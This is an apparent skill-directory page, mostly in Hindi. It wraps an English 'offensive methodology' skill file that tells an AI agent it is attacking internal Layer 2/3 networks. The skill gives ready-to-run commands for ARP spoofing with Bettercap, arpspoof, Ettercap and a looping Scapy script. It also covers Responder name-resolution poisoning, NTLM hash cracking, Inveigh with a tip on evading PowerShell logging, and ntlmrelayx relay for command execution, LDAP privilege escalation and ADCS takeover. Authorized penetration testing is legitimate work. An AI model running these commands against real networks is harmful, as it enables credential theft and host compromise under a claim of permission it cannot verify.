offensive-network-attacks
यह क्या करती है
यह स्किल आंतरिक नेटवर्क ढाँचे के परीक्षण की एक कार्यप्रणाली है, जिसमें ARP, broadcast name resolution, DHCP, VLAN और IPv6 की कमज़ोरियाँ शामिल हैं। यह लिखित अनुमति के साथ आंतरिक मूल्यांकन चलाने वाले सुरक्षा पेशेवरों के लिए है।
कब इस्तेमाल करें
- ✓जब आप Layer 2 या Layer 3 स्तर पर अधिकृत आंतरिक नेटवर्क मूल्यांकन चला रहे हों।
- ✓जब आप हस्ताक्षरित परीक्षण में जाँचना चाहते हों कि नेटवर्क name resolution के ज़हर से प्रभावित हो सकता है या नहीं।
- ✓जब आपको आंतरिक नेटवर्क पर VLAN सीमाएँ या IPv6 autoconfiguration की समीक्षा करनी हो।
Skill का लिंक
https://github.com/SnailSploit/Claude-Red/blob/main/Skills/network/offensive-network-attacks/SKILL.mdइसे कॉपी करके अपने AI (Claude, ChatGPT या Cursor) में पेस्ट करें और निर्देशों का पालन करने को कहें।
कैसे इस्तेमाल करें
सबसे आसान तरीका: मैसेज कॉपी करके अपने AI में पेस्ट करें। वह skill पढ़कर निर्देशों का पालन करेगा।
पेस्ट करने के लिए तैयार मैसेज
Claude Code, Codex या Cursor के लिए: प्रोजेक्ट फ़ोल्डर में चलाएँ और skill इंस्टॉल हो जाएगी।
SKILL.md डाउनलोड करें और अपने एजेंट के skills फ़ोल्डर में रखें।
AI से क्या माँगें: उदाहरण
“हमें आंतरिक नेटवर्क परीक्षण की अनुमति है। जाँचिए कि हमारा नेटवर्क name resolution poisoning के लिए खुला है या नहीं।”
हर हफ़्ते 5 नई skills, 1 मिनट में पढ़ें।
यह कैसे काम करती है
स्किल पहले आपकी नेटवर्क स्थिति मैप करती है, फिर traffic को निष्क्रिय रूप से देखती है। फिर वह दायरे में आने वाली कमज़ोरियाँ परखती है, जैसे name resolution poisoning और relay हमले, और खोजें दर्ज करती है।
तकनीकी सामग्री (मूल SKILL.md)
लेखक का मूल टेक्स्ट, अंग्रेज़ी में, सीधे GitHub से।
Network Attacks (Layer 2/3) -- Offensive Methodology
You are attacking Layer 2/3 infrastructure during an authorized internal engagement. ARP, DHCP, broadcast name resolution, VLAN trunking, and IPv6 autoconfiguration are all unauthenticated -- you exploit that trust to intercept credentials, redirect traffic, and cross network boundaries.
Quick Workflow
- Map your position -- VLAN, subnet, gateway, DNS, DHCP lease, IPv6 status.
- Passively sniff with tcpdump/Wireshark to discover hosts and cleartext credentials.
- Run Responder in analyze mode to observe LLMNR/NBT-NS/mDNS queries.
- Enable Responder poisoning to capture NTLMv2 hashes.
- Relay captured hashes with ntlmrelayx against hosts without SMB signing.
- ARP spoof the gateway for targeted MITM and credential interception.
- Probe VLAN boundaries via DTP negotiation and 802.1Q double tagging.
- Exploit IPv6 autoconfiguration with mitm6 for DNS takeover and NTLM relay.
ARP Spoofing
ARP has no authentication. You send gratuitous ARP replies to associate your MAC with the gateway IP in the victim's cache, routing their traffic through you.
Bettercap ARP Module
sudo bettercap -iface eth0
net.probe on # discover live hosts
net.show
set arp.spoof.targets 10.0.0.50 # single target
set arp.spoof.fullduplex true # poison both victim and gateway
arp.spoof on
arpspoof and Ettercap
echo 1 > /proc/sys/net/ipv4/ip_forward
arpspoof -i eth0 -t 10.0.0.50 10.0.0.1 # tell victim you are the gateway
arpspoof -i eth0 -t 10.0.0.1 10.0.0.50 # tell gateway you are the victim (second terminal)
# Ettercap alternative
sudo ettercap -T -M arp:remote /10.0.0.50// /10.0.0.1//
sudo ettercap -T -M arp:remote -F inject.ef /10.0.0.50// /10.0.0.1// # with filter
Gratuitous ARP with Scapy
from scapy.all import Ether, ARP, sendp
import time
pkt = Ether(dst="ff:ff:ff:ff:ff:ff") / ARP(
op=2, psrc="10.0.0.1", hwsrc="aa:bb:cc:dd:ee:ff", pdst="10.0.0.50"
)
while True:
sendp(pkt, iface="eth0", verbose=False)
time.sleep(2)
Bypassing Static ARP Entries
Static entries block standard poisoning. Workarounds: overflow the ARP table so the host falls back to dynamic resolution; redirect at Layer 3 via DHCP/DNS attacks; or use VLAN hopping to attack from a segment without static entries.
LLMNR / NBT-NS / mDNS Poisoning
When DNS fails, Windows falls back to LLMNR (UDP 5355), NBT-NS (UDP 137), and mDNS (UDP 5353). You answer these broadcast queries with your IP, forcing victims to authenticate to your rogue services.
Responder Setup and Hash Capture
sudo responder -I eth0 -A # analyze mode -- observe without poisoning
sudo responder -I eth0 -wrf # full poisoning: -w WPAD, -r NBT-NS, -f fingerprint
# Hashes land in /opt/Responder/logs/
hashcat -m 5600 hashes.txt wordlist.txt -r rules/best64.rule # NTLMv2
hashcat -m 5500 hashes.txt wordlist.txt # NTLMv1 (weaker)
WPAD is a high-value vector: browsers query for wpad.dat via DNS then LLMNR/NBT-NS. The -w flag makes Responder serve a malicious WPAD config that captures NTLM authentication from browser traffic transparently.
Inveigh (Windows-Native)
From a compromised Windows host, poison without dropping Linux tools:
Invoke-Inveigh -ConsoleOutput Y -NBNS Y -mDNS Y -HTTP Y -HTTPS Y -Proxy Y
Inveigh.exe -FileOutput Y -NBNS Y -mDNS Y -HTTP Y -LLMNR Y # C# binary avoids PS logging
NTLMv1/v2 Relay with ntlmrelayx
When cracking fails, relay captured authentication to targets without SMB signing. Disable SMB and HTTP in Responder.conf first -- ntlmrelayx handles those protocols.
nxc smb 10.0.0.0/24 --gen-relay-list no-signing.txt
impacket-ntlmrelayx -tf no-signing.txt -smb2support -c "whoami" # command exec
impacket-ntlmrelayx -tf no-signing.txt -t ldap://10.0.0.10 \
--escalate-user attacker --delegate-access # LDAP privesc
impacket-ntlmrelayx -t http://ca.corp.local/certsrv/certfnsh.asp \
-smb2support --adcs --template DomainController # ADCS ESC8
Trigger authentication via Responder poisoning, PetitPotam, PrinterBug, or DFSCoerce.
DNS Poisoning
DNS attacks redirect traffic at the application layer. You do not need Layer 2 adjacency if you control the resolution path.
Rogue DNS Server via DHCP Option
अक्सर पूछे जाने वाले सवाल
name resolution poisoning क्या है?
जब हमलावर broadcast नाम खोज का जवाब देता है, जिससे login hashes उजागर हो सकते हैं, और स्किल जाँचती है कि यह संभव है या नहीं।
यह कौन से टूल बताती है?
यह Bettercap, Responder, mitm6, Ettercap और Wireshark जैसे टूल का ज़िक्र करती है।
क्या यह सिर्फ़ अधिकृत परीक्षणों के लिए है?
हाँ। यह लिखित अनुमति वाले आंतरिक मूल्यांकन के लिए लिखी गई है।
जानकारी
लेखक का मूल विवरण
Dense description covering ARP spoofing, LLMNR/NBT-NS/mDNS poisoning, DNS poisoning, MITM attacks, VLAN hopping, DHCP attacks, 802.1X/NAC bypass, IPv6 attacks. Tools: Bettercap, Responder, mitm6, Ettercap, Wireshark. MITRE T1557, T1040. Use when conducting internal network assessments or testing Layer 2/3 attack surface.
repo: SnailSploit/Claude-Red
लोकप्रियता
- GitHub स्टार
- 10k
- रैंकिंग में स्थान
- #11963
- लाइसेंस
- MIT
- अपडेट की गई
- 12/10/2026
कमेंट
- …
इस repository की और skills
offensive-active-directory
10kआपके एजेंट को अधिकृत Active Directory सुरक्षा परीक्षण की योजना बनाने में मदद करती है, नेटवर्क मैपिंग से लेकर Domain Admin तक के हमला रास्ते खोजने तक।
offensive-netexec
10kआपके एजेंट को अधिकृत नेटवर्क परीक्षण के लिए NetExec (nxc) टूल इस्तेमाल करने में मदद करती है, जिसमें प्रोटोकॉल, प्रमाणीकरण और credential जाँच शामिल हैं।
offensive-api-abuse
10kआपके एजेंट को अधिकृत API सुरक्षा परीक्षण की योजना बनाने में मदद करती है, जो business logic के दुरुपयोग, GraphQL जोखिम और race conditions खोजते हैं।
offensive-api-security
10kआपके एजेंट को OWASP API Top 10 के आधार पर REST, gRPC और WebSocket API पर अधिकृत सुरक्षा परीक्षण चलाने में मदद करती है।
मिलती-जुलती skills
reverse-engineer-anything
422kयह आपके एजेंट को REA टूल से शिप हुई ऐप्स और पैकेज को अंदर से समझने, वर्ज़न की तुलना करने या दोबारा बनाने में मदद करती है।
1password
394kयह आपके एजेंट को 1Password CLI सेट करने, साइन इन करने और सीक्रेट्स की वैल्यू चैट में छापे बिना उन्हें पढ़ने या इस्तेमाल करने में मदद करती है।
healthcheck
394kयह आपके एजेंट को उस कंप्यूटर या सर्वर का सुरक्षा ऑडिट करने देती है जिस पर OpenClaw चलता है, जिसमें SSH, firewall, अपडेट और बैकअप शामिल हैं, और फिर सुरक्षित सुधार सुझाती है।